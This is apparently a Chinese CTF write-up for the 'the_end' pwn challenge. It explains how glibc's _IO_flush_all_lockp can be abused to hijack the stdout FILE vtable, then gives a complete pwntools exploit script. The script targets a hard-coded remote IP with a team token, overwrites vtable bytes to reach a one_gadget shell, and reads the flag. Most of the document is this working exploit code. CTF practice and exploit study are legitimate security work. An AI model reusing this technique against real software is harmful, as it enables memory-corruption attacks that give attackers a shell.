跳转至

the end

分析

abort、exit函数甚至从main函数return时,会调用_IO_flush_all_lockp函数,在该函数内,满足一定条件的情况下,可以解发_IO_jump_table的IO_overflow函数。

条件:

fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)

IO_FILE长这样:

struct _IO_FILE {  
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */  
#define _IO_file_flags _flags  
  /* The following pointers correspond to the C++ streambuf protocol. */  
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */  
  char* _IO_read_ptr;   /* Current read pointer */  
  char* _IO_read_end;   /* End of get area. */  
  char* _IO_read_base;  /* Start of putback+get area. */  
  char* _IO_write_base; /* Start of put area. */  
  char* _IO_write_ptr;  /* Current put pointer. */  
  char* _IO_write_end;  /* End of put area. */  
  char* _IO_buf_base;   /* Start of reserve area. */  
  char* _IO_buf_end;    /* End of reserve area. */  
  /* The following fields are used to support backing up and undo. */  
  char *_IO_save_base; /* Pointer to start of non-current get area. */  
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */  
  char *_IO_save_end; /* Pointer to end of non-current get area. */  
  struct _IO_marker *_markers;  
  struct _IO_FILE *_chain;  
  int _fileno;//这个就是linux内核中文件描述符fd  
#if 0  
  int _blksize;  
#else  
  int _flags2;  
#endif  
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */  
#define __HAVE_COLUMN /* temporary */  
  /* 1+column number of pbase(); 0 is unknown. */  
  unsigned short _cur_column;  
  signed char _vtable_offset;  
  char _shortbuf[1];  
  /*  char* _save_gptr;  char* _save_egptr; */  
  _IO_lock_t *_lock;  
#ifdef _IO_USE_OLD_IO_FILE  
};  
struct _IO_FILE_plus  
{  
  _IO_FILE file;  
  const struct _IO_jump_t *vtable;//IO函数跳转表  
};  

_IO_jump_table 长这样:

const struct _IO_jump_t _IO_file_jumps =  
{  
  JUMP_INIT_DUMMY,  
  JUMP_INIT(finish, INTUSE(_IO_file_finish)),  
  JUMP_INIT(overflow, INTUSE(_IO_file_overflow)),  
  JUMP_INIT(underflow, INTUSE(_IO_file_underflow)),  
  JUMP_INIT(uflow, INTUSE(_IO_default_uflow)),  
  JUMP_INIT(pbackfail, INTUSE(_IO_default_pbackfail)),  
  JUMP_INIT(xsputn, INTUSE(_IO_file_xsputn)),
  JUMP_INIT(xsgetn, INTUSE(_IO_file_xsgetn)),  
  JUMP_INIT(seekoff, _IO_new_file_seekoff),  
  JUMP_INIT(seekpos, _IO_default_seekpos),  
  JUMP_INIT(setbuf, _IO_new_file_setbuf), 
  JUMP_INIT(sync, _IO_new_file_sync),  
  JUMP_INIT(doallocate, INTUSE(_IO_file_doallocate)),  
  JUMP_INIT(read, INTUSE(_IO_file_read)),  
  JUMP_INIT(write, _IO_new_file_write),  
  JUMP_INIT(seek, INTUSE(_IO_file_seek)),  
  JUMP_INIT(close, INTUSE(_IO_file_close)),  
  JUMP_INIT(stat, INTUSE(_IO_file_stat)),  
  JUMP_INIT(showmanyc, _IO_default_showmanyc),  
  JUMP_INIT(imbue, _IO_default_imbue)  
}; 

因为只有5次的修改机会,所以这里把jump table最后一位的0x1e给忽略了,找了一块同样最后一位为0x1e的内存,只改写了倒数第2个字节,0x3c53e0,这个地址需要实际在内存中找一下(主要解决的问题是IO_jump_table的JUMP_INIT_DUMMY最好为0或者1,不能太大,具体原因未分析)。

脚本

#!/usr/bin/env python2
# coding: utf-8
# Usage: ./exploit.py -r/-l/-d

from pwn import *
import argparse
import itertools
import time
import os

IP = "150.109.44.250"
PORT = 20002

one_gg = 0xf02a4

context.arch = "amd64"
context.log_level = 'DEBUG'
context.log_level = 'critical'
context.terminal = ['tmux', 'splitw', '-h', '-p', '70']
BIN = "./the_end"

def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

def r(x): return io.recv(x)
def ru(x): return io.recvuntil(x)
def rud(x): return io.recvuntil(x, drop=True)
def se(x): return io.send(x)
def sel(x): return io.sendline(x)
def pick32(x): return u32(x[:4].ljust(4, '\0'))
def pick64(x): return u64(x[:8].ljust(8, '\0'))


parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()


io = None  # this is global process variable

binary = ELF(BIN)

if args.remote:
    io = remote(IP, PORT)  
    rud("Input your token:")
    sel("7024ZEBXOyaCi7hWLskq2GKI1NUczUay")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elif args.local:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(BIN,  env=env)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), BIN))]
    libc_bb = io.libs()[
        '/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    parser.print_help()
    exit()

rud("here is a gift")
sleep_addr = int(rud(",").strip(","), 16)
libc.address = sleep_addr - libc.symbols["sleep"]
lg("libc address", libc.address)
lg("one_gadget", libc.address+one_gg)

target1_got = 0x3c53e0 + libc.address
target2 = libc.address + one_gg
addr1 = libc.symbols["_IO_2_1_stdout_"] + 0xd8

# pad1 = p64(addr1) + p8(target1_got & 0xff)
pad2 = p64(addr1 +1) + p8((target1_got >> 8) & 0xff)
pad3 = p64(libc.address + 0x3c53e0 + 0x18) + p8(target2 & 0xff)
pad4 = p64(libc.address + 0x3c53e0 + 0x18 + 1) + p8((target2 >> 8) & 0xff)
pad5 = p64(libc.address + 0x3c53e0 + 0x18 + 2) + p8((target2 >> 16) & 0xff)
pad6 = p64(libc.symbols["_IO_2_1_stdout_"] + 0x28) + \
    p8(0x20)  
# io.send(pad1)
io.send(pad2)
io.send(pad3)
io.send(pad4)


# gdb.attach(io, '''
# b *0x{:x}
# c
# b *0x{:x}
# b *0x{:x}
# b *exit
# b *_IO_new_file_finish
# b *_IO_new_file_overflow
# b *__GI__IO_file_close
# b *_IO_flush_all_lockp
# b *(0x00007ffff7a0d000 + 0x000000000007C16D)
# p/x &__free_hook
# p/x &_IO_2_1_stdout_
# p/x 0x00007ffff7a0d000 + 0x{:x}
# '''.format(
#     0x0000555555554000 + 0x000000000000093A,  # read1
#     0x0000555555554000 + 0x0000000000000950,  # read2
#     # 0x555555554000 + 0x0000000000000740,  # stdout
#     # 0x555555554000 + 0x0000000000000921,  # printf
#     # 0x555555554000 + 0x00000000000007AE,  # stdout compare
#     0x00007ffff7a0d000 + one_gg,
#     one_gg,
# )
# )
io.send(pad5)
io.send(pad6)

io.sendline("/bin/cat /flag>&0")
io.interactive()

评论